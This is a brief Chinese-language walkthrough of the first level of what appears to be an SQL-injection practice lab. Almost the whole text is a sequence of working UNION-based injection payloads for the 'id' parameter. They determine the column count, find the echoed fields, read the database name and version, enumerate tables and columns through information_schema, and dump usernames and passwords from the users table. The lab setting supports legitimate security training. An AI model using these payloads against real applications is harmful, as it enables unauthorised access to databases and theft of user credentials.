第一关
手工联合注入:
判断字段数:
?id=2' order by 3--+ 页面正常
?id=2' order by 4--+ #页面不正常说明字段数为3
判断回显:
?id=-2' union select 1,2,3--+
查看数据库名称和版本:
?id=-2' union select 1,database(),version()--+
查看表名:
?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查看字段名:
?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
查看内容:
?id=-2' union select 1,group_concat(id,username,password),3 from users--+